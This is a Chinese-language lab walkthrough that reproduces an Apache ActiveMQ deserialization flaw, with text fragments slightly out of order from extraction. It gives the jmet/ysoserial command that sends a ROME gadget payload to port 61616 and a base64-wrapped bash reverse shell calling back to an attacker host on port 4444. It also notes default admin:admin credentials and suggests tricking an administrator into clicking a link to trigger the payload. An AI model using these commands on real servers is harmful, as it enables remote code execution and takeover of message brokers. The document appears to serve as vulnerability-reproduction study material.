一、简介
-
是老外所研发的一套Apache ActiveMQ
,它支持Java消息服务、集群、Spring Framework等。该漏洞源于程序没有限制可在代理中序列化的类。攻击者可以开源的消息中间件
利用该漏洞执行恶意代码。借助特制的序列化的java消息服务(JMS)ObjectMessage对象
- 漏洞影响的版本为:
之前的版本。Apache ActiveMQ 5.13.0
二、漏洞环境准备
pull下来内容
环境运行后,将监听
61616
和
8161
两个端口。其中
61616是工作端口,消息在这个端口进行传递
;
8161是Web管理页面端口
。访问
http://192.168.15.148:8161
即可看到web管理页面,不过这个漏洞理论上是不需要web的。默认的登录是
admin:admin
(activemq弱口令)
三、漏洞复现
步骤如下:
- (1)、构造
可以执行命令的序列化对象
- (2)、将这个对象作为一个消息,发送给目标的
61616端口
- (3)、访问web管理页面(8161端口),读取消息,触发漏洞
另:这里使用
jmet
进行漏洞的利用,
jmet
的原理是使用
ysoserial
( 它集合了各种
java反序列化漏洞
) 生成payload并发送,
jmet的jar自带ysoserial
,所以我们需要在
ysoserial
的
gedget
中选择一个可以使用的,比如
ROME
。
我们首先下载
jmet
,网址为:
https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
下载好了之后把他放到
kali的/opt
下
然后我们执行命令:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 192.168.15.148 61616
此时会给目标的
ActiveMQ
中添加一个名为
event
的队列,可通过:
http://192.168.15.148:8161/admin/browse.jsp?JMSDestination=event
,访问。看到这个队列中的所有消息。
点击这条消息可以触发命令执行
在靶机中进入容器,命令:
docker ps ; docker exec -it ad2 /bin/bash
。我们可以看到
success
已经成功的写入了
/tmp
目录下。
我们利用该漏洞还可达到反弹shell的效果,我们的反弹shell命令为:
bash -i >& /dev/tcp/192.168.15.129/4444 0>&1
=>
经过base64编码为
=>
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjEyOS80NDQ0IDA+JjE=
最终的反弹shell为:
bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjEyOS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}
这里经过的变化是这样的:
bash -i >& /dev/tcp/攻击机IP/4444 0>&1
不过是需要做一下绕过的
bash -c {echo payload的base64编码}|{base64, -d}|{bash, -i}
在kali中执行:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjEyOS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.15.148 61616
事件写入成功
监听
4444端口
,然后点击事件即可
反弹shell成功
值得注意的是,
通过web管理页面访问消息并触发漏洞这个过程需要管理员权限
。在没有密码的情况下,我们
可以诱导管理员访问我们的链接以触发
,或者
伪装成其他合法服务
需要的消息,等待客户端访问的时候触发。
使用完了之后不要忘了关闭容器偶
四、可利用的版本
- 漏洞影响的版本为:Apache ActiveMQ 5.13.0之前的版本。